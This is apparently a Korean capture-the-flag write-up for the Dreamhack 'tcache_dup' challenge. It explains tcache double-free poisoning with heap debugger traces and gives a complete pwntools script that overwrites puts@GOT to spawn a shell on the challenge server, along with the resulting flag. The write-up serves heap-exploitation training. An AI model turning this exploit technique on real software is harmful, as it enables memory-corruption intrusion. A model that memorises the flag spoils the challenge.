Description
이 문제는 작동하고 있는 서비스(tcache_dup)의 바이너리와 소스코드가 주어집니다.
Tcache dup 공격 기법을 이용한 익스플로잇을 성하여 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
Environment
Ubuntu 18.04 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
디버깅 실습을 위해 로컬 환경에서는 ubuntu 17.10 환경에서 테스트했다.
checksec
seo@ubuntu:~/Documents/tcache_dup$ checksec ./tcache_dup [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/home/seo/Documents/tcache_dup/tcache_dup' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
Source Code
tcache_dup.c
// gcc -o tcache_dup tcache_dup.c -no-pie #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> char *ptr[10]; void alarm_handler() { exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(60); } int create(int cnt) { int size; if (cnt > 10) { return -1; } printf("Size: "); scanf("%d", &size); ptr[cnt] = malloc(size); if (!ptr[cnt]) { return -1; } printf("Data: "); read(0, ptr[cnt], size); } int delete() { int idx; printf("idx: "); scanf("%d", &idx); if (idx > 10) { return -1; } free(ptr[idx]); } void get_shell() { system("/bin/sh"); } int main() { int idx; int cnt = 0; initialize(); while (1) { printf("1. Create\n"); printf("2. Delete\n"); printf("> "); scanf("%d", &idx); switch (idx) { case 1: create(cnt); cnt++; break; case 2: delete(); break; default: break; } } return 0; }
tcache poisoning
기본적으로 크기가 64비트에서는 1032 byte이하의 사이즈가 할당되었을때 tcache에 할당된다.
[그림]의 왼쪽은 alloc 청크, 오른쪽은 free된 청크을 나타낸다.
확인해보면 alloc 청크에서는 data가 있는 반면, free 청크에서는 fd, bk가 있다.
만약 어떤 청크가 alloc 청크인지 free 청크인지, 구분없이 중첩된 상태라면 어떻게 되는지 알아보자.
똑같은 메모리를 2번 해제해보면,
from pwn import * warnings.filterwarnings('ignore') p = process('./tcache_dup') # malloc 8bytes and filled with AAAA... p.recvuntil("> ") p.sendline("1") p.recvuntil("Size: ") p.sendline("8") p.recvuntil("Data: ") p.send(b"A"*8) #free twice for i in range(2): p.recvuntil("> ") p.sendline("2") p.recvuntil("idx: ") p.sendline("0") pause()
gdb-peda$ heapinfoall =================== Thread 1 =================== (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x602270 (size : 0x20d90) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0](2): 0x602260 --> 0x602260 (overlap chunk with 0x602250(freed) ) gdb-peda$ parseheap addr prev size status fd bk 0x602000 0x0 0x250 Used None None 0x602250 0x0 0x20 Freed 0x602260 None gdb-peda$ p *(tcache_entry *)0x602260 $1 = { next = 0x602260 } gdb-peda$ p *(struct malloc_chunk *)0x602250 $2 = { mchunk_prev_size = 0x0, mchunk_size = 0x21, fd = 0x602260, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x20d91 }
tcache_entry를 확인하면 [그림]과 같이 자기 자신을 next 포인터로 가리키기 때문에
tcache Duplication이 발생했다.
따라서, 청크는 중첩상태가 되었다.
그 상태에서 이번에는 할당 과정을 수행,
그러니까 이전과 같은 크기로 힙을 할당하고 데이터로 [임의의 주소]인 BBBB…를 입력해보면,
#malloc 8bytes and filled with BBBB... p.recvuntil("> ") p.sendline("1") p.recvuntil("Size: ") p.sendline("8") p.recvuntil("Data: ") p.send("B"*8) pause()
gdb-peda$ heapinfoall =================== Thread 1 =================== (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x602270 (size : 0x20d90) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0](1): 0x602260 --> 0x4242424242424242 (invaild memory) gdb-peda$ parseheap addr prev size status fd bk 0x602000 0x0 0x250 Used None None 0x602250 0x0 0x20 Freed 0x4242424242424242 None gdb-peda$ p *(tcache_entry *)0x602260 $1 = { next = 0x4242424242424242 } gdb-peda$ p *(struct malloc_chunk *)0x602250 $2 = { mchunk_prev_size = 0x0, mchunk_size = 0x21, fd = 0x4242424242424242, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x20d91 }
next 포인터가 BBBB…와 같이 [임의의 주소]로 바뀐다.
할당 과정임에도 0x602260
주소가 청크로부터 할당되는 것이 아니라
next 포인터에 [임의의 주소]가 연결됐다.
DFB에 의해 청크가 중첩 상태였기 때문에 할당을 해도 해제한 것과 같은 결과가 도출된 것이다.
이와 같이 tcache에 저장된 주소를 조작하는 공격을 “Tcache Poisoning“이라고 한다.
이 상태에서 한번 더 이전과 같은 크기로 힙을 할당하고 데이터를 입력해보면
#malloc 8bytes and filled with CCCC... p.recvuntil("> ") p.sendline("1") p.recvuntil("Size: ") p.sendline("8") p.recvuntil("Data: ") p.send(b"C"*8) pause()
gdb-peda$ heapinfoall =================== Thread 1 =================== (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x602270 (size : 0x20d90) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0](0): 0x4242424242424242 (invaild memory)
변경된 next chunk의 주소인 BBBB…가 tcache entry에 들어가게 되는데,
이후에 다시 한번 더 같은 8바이트 크기로 할당하려고 하면,
#malloc 8bytes and filled with DDDD... p.recvuntil("> ") p.sendline("1") p.recvuntil("Size: ") p.sendline("8") p.recvuntil("Data: ") p.send(b"D"*8)
Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x602010 --> 0x0 RBX: 0x0 RCX: 0x602010 --> 0x0 RDX: 0x4242424242424242 ('BBBBBBBB') RSI: 0x1 RDI: 0x8 RBP: 0x8 RSP: 0x7fffffffe410 --> 0x0 RIP: 0x7ffff7a8403b (<__GI___libc_malloc+395>: mov rsi,QWORD PTR [rdx]) R8 : 0x0 R9 : 0x400bdd --> 0x203a6174614400 ('') R10: 0xa ('\n') R11: 0x0 R12: 0xffffffffffffffb0 R13: 0x7fffffffe550 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10293 (CARRY parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7ffff7a8402b <__GI___libc_malloc+379>: je 0x7ffff7a83f06 <__GI___libc_malloc+86> 0x7ffff7a84031 <__GI___libc_malloc+385>: cmp rbx,0x3f 0x7ffff7a84035 <__GI___libc_malloc+389>: ja 0x7ffff7a8410d <__GI___libc_malloc+605> => 0x7ffff7a8403b <__GI___libc_malloc+395>: mov rsi,QWORD PTR [rdx] 0x7ffff7a8403e <__GI___libc_malloc+398>: mov QWORD PTR [rcx+0x40],rsi 0x7ffff7a84042 <__GI___libc_malloc+402>: sub BYTE PTR [rax+rbx*1],0x1 0x7ffff7a84046 <__GI___libc_malloc+406>: pop rbx 0x7ffff7a84047 <__GI___libc_malloc+407>: mov rax,rdx [------------------------------------stack-------------------------------------]
위와 같이 충돌이 발생한다.
rdx 레지스터를 확인해보면,
이전에 입력했던 BBBB… 데이터는 유효하지 않은 메모리 주소를 가리키기 때문에 충돌이 발생한다.
BBBB… 데이터를 [email protected]로 바꾸고 다시 실행해보면,
Program received signal SIGSEGV, Segmentation fault. ... [-------------------------------------code-------------------------------------] 0x400730 <free@plt>: jmp QWORD PTR [rip+0x2008e2] # 0x601018 0x400736 <free@plt+6>: push 0x0 0x40073b <free@plt+11>: jmp 0x400720 => 0x400740 <puts@plt>: jmp QWORD PTR [rip+0x2008da] # 0x601020 | 0x400746 <puts@plt+6>: push 0x1 | 0x40074b <puts@plt+11>: jmp 0x400720 | 0x400750 <__stack_chk_fail@plt>: jmp QWORD PTR [rip+0x2008d2] # 0x601028 | 0x400756 <__stack_chk_fail@plt+6>: push 0x2 |-> Cannot evaluate jump destination JUMP is taken ... Stopped reason: SIGSEGV 0x0000000000400740 in puts@plt () ... gdb-peda$ x/gx 0x601020 0x601020: 0x4444444444444444
[email protected] 주소에 있는 데이터가 DDDD.. 로 덮어씌워진 것을 알 수 있다.
여기서 DDDD..가 아닌 get_shell 주소인 0x400ab0으로 덮어씌우면 쉘을 획득할 수 있다.
tcache_dup
요약:
Double free 등을 이용하여 tcache에 같은 청크를 2번 이상 연결시키는 기법.tcache_entry
를 조작해 이미 할당된 메모리에 다시 힙 청크를 할당하는 공격 기법.
예제코드:
https://github.com/shellphish/how2heap/blob/master/obsolete/glibc_2.27/tcache_dup.c
#include <stdio.h> #include <stdlib.h> #include <assert.h> int main() { printf("This file demonstrates a simple double-free attack with tcache.\n"); printf("Allocating buffer.\n"); int *a = malloc(8); printf("malloc(8): %p\n", a); printf("Freeing twice...\n"); free(a); free(a); printf("Now the free list has [ %p, %p ].\n", a, a); void *b = malloc(8); void *c = malloc(8); printf("Next allocated buffers will be same: [ %p, %p ].\n", b, c); assert((long)b == (long)c); return 0; }
seo@ubuntu:~/Documents/tcache_dup/test$ gcc -o tcache_dup tcache_dup.c seo@ubuntu:~/Documents/tcache_dup/test$ ./tcache_dup This file demonstrates a simple double-free attack with tcache. Allocating buffer. malloc(8): 0x5638a972a670 Freeing twice... Now the free list has [ 0x5638a972a670, 0x5638a972a670 ]. Next allocated buffers will be same: [ 0x5638a972a670, 0x5638a972a670 ].
solve.py
from pwn import * #context.log_level = 'debug' warnings.filterwarnings('ignore') #p = process('./tcache_dup') p = remote("host3.dreamhack.games",9745) # malloc 8bytes and filled with AAAA... p.recvuntil("> ") p.sendline("1") p.recvuntil("Size: ") p.sendline("8") p.recvuntil("Data: ") p.send(b"A"*8) #free twice for i in range(2): p.recvuntil("> ") p.sendline("2") p.recvuntil("idx: ") p.sendline("0") #Set 0x601020(puts.got.plt) to tcache entry point #(0x20) tcache_entry[0](1): 0x602260 --> 0x601020 (overlap chunk with 0x602250(freed) ) p.recvuntil("> ") p.sendline("1") p.recvuntil("Size: ") p.sendline("8") p.recvuntil("Data: ") p.send(p64(0x601020)) #puts.got.plt #Make tcache_entry[0](0): 0x601020 #(0x20) tcache_entry[0](0): 0x601020 --> 0x7ffff7a6d460 (overlap chunk with 0x601010(freed) ) p.recvuntil("> ") p.sendline("1") p.recvuntil("Size: ") p.sendline("8") p.recvuntil("Data: ") p.send(b"B"*8) #Overwrite get_shell address to puts.got.plt p.recvuntil("> ") p.sendline("1") p.recvuntil("Size: ") p.sendline("8") p.recvuntil("Data: ") p.send(p64(0x400ab0)) #get_shell p.interactive()
Result
seo@ubuntu:~/Documents/tcache_dup$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 9745: Done [*] Switching to interactive mode $ ls flag tcache_dup $ cat flag DH{8fb591cfc1a2e30d0a33d53ace8e4973d40c28a4eb8d6e20581a2e8bdd393a91}
Reference
https://keyme2003.tistory.com/entry/dreamhack-Tcache-Poisoning